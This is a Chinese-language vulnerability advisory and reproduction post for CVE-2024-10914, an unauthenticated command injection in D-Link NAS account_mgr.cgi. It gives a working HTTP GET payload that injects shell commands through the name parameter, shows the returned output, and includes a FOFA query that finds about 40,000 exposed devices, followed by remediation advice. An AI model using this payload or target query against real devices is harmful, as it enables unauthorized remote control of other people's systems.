

D-Link NAS设备 account_mgr.cgi 未授权 RCE漏洞(CVE-2024-10914)

漏洞描述

D-Link NAS 设备中发现一个关键漏洞（CVE-2024-10914），对全球 61,000 多个系统构成严重威胁。该漏洞是 account_mgr.cgi 脚本中的命令注入漏洞，允许远程攻击者通过特制的 HTTP GET 请求执行任意命令。此问题影响多个 D-Link NAS 型号，包括 DNS-320、DNS-320LW、DNS-325 和 DNS-340L，CVSSv4 得分为 9.2，表明严重程度较高。该漏洞主要影响 account_mgr.cgi 脚本的 cgi_user_add 命令中的 name 参数。由于输入验证过滤不充分，注入 name 参数的恶意命令可导致未经授权的命令执行。使攻击者无需身份验证即可访问。

影响版本

DNS-320 – 版本 1.00

DNS-320LW – 版本 1.01.0914.2012

DNS-325 – 版本 1.01 和 1.02

DNS-340L – 版本 1.08

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: app="D_Link-DNS-ShareCenter"

POC/EXP:

GET /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;ifconfig;%27 HTTP/1.1

Host:127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/130.0.0.0 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8
application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

发送请求

强制 HTTPS

历史

数据扫描

热加载

构造请求

Request

1

GET /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;ifconfig;%27 HTTP/1.1

2

Host:

3

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36

4

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

5

Accept-Encoding: gzip, deflate, br

6

Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7

7

Connection: close

Responses

https

403bytes / 499ms

美化

详情

1

HTTP/1.1 200 OK

2

Content-Language: en

3

P3P: CP="CURA ADMa DEVa PSaO PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

4

egiga0 Link encap: Ethernet HWaddr: 78:54:2E:28:D5:E6

5

inet addr: 192.168.1.9 Bcast: 192.168.1.255 Mask: 255.255.255.0

6

UP BROADCAST RUNNING MULTICAST MTU: 1500 Metric: 1

7

RX packets: 362918 errors: 0 dropped: 0 overruns: 0 frame: 0

8

TX packets: 847389 errors: 0 dropped: 0 overruns: 0 carrier: 0

9

collisions: 0 txqueuelen: 532

10

RX bytes: 27010523 (25.7 MiB) TX bytes: 794071541 (757.2 MiB)

11

Interrupt: 11

12

Connection: close

13

Date: Tue, 12 Nov 2024 01:21:29 GMT

14

Server: lighttpd/1.4.28

15

Content-Length: 403

16

17

lo Link encap: Local Loopback

18

inet addr: 127.0.0.1 Mask: 255.0.0.0

19

UP LOOPBACK RUNNING MTU: 16436 Metric: 1

20

RX packets: 198574 errors: 0 dropped: 0 overruns: 0 frame: 0

21

TX packets: 198574 errors: 0 dropped: 0 overruns: 0 carrier: 0

22

collisions: 0 txqueuelen: 0

23

RX bytes: 35740084 (34.0 MiB) TX bytes: 35740084 (34.0 MiB)

24

25

Content-type: text/html

26

发送请求

强制 HTTPS

历史

数据扫描

热加载

构造请求

Request

1

GET /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;pwd;%27 HTTP/1.1

2

Host:

3

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36

4

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

5

Accept-Encoding: gzip, deflate, br

6

Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7

7

Connection: close

Responses

https

44bytes / 869ms

美化

详情

1

HTTP/1.1 200 OK

2

Content-Language: en

3

P3P: CP="CURa ADMa DEVa PSaO PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

4

Connection: close

5

Date: Tue, 12 Nov 2024 01:25:40 GMT

6

Server: lighttpd/1.4.28

7

Content-Length: 44

8

9

/var/www/cgi-bin

10

Content-type: text/html

11

12

影响独立资产ip4w

FQFA

app="D_Link-DNS-ShareCenter"

会员支持及工具

2

all

59,331 条匹配结果 (40,108 条独立IP), 2493 ms , 关键词搜索。

显示一年内数据, 点击 all 查看所有。

网站指纹排名

hWN+...51,153

aCsin...6,535

2VQB...1,321

PQyG...319

2l6kFg...1

国家/地区排名

>> 英国9,966

>> 意大利5,707

>> 德国4,752

>> 俄罗斯3,845

>> 匈牙利3,731

ASN: 3462

组织: Data Communication...

2024-11-12

lighttpd/1.4.28

HeaderProducts

HTTP/1.1 200 OK

Connection: close

Content-Length: 10352

Accept-Ranges: bytes

Content-Language: en

Content-Type: text/html

Date: Tue, 12 Nov 2024 00:46:22 GMT

Etag: "2959231914"

Last-Modified: Tue, 09 Apr 2013 06:23:49 GMT

修复方案

- 应用补丁和更新：用户应下载并安装 D-Link 提供的任何固件更新。
- 限制网络访问：作为临时措施，对 NAS 管理界面的网络访问应仅限于受信任的 IP 地址。
- 监控固件更新：受影响的设备用户应密切关注 D-Link 即将提供的任何安全补丁。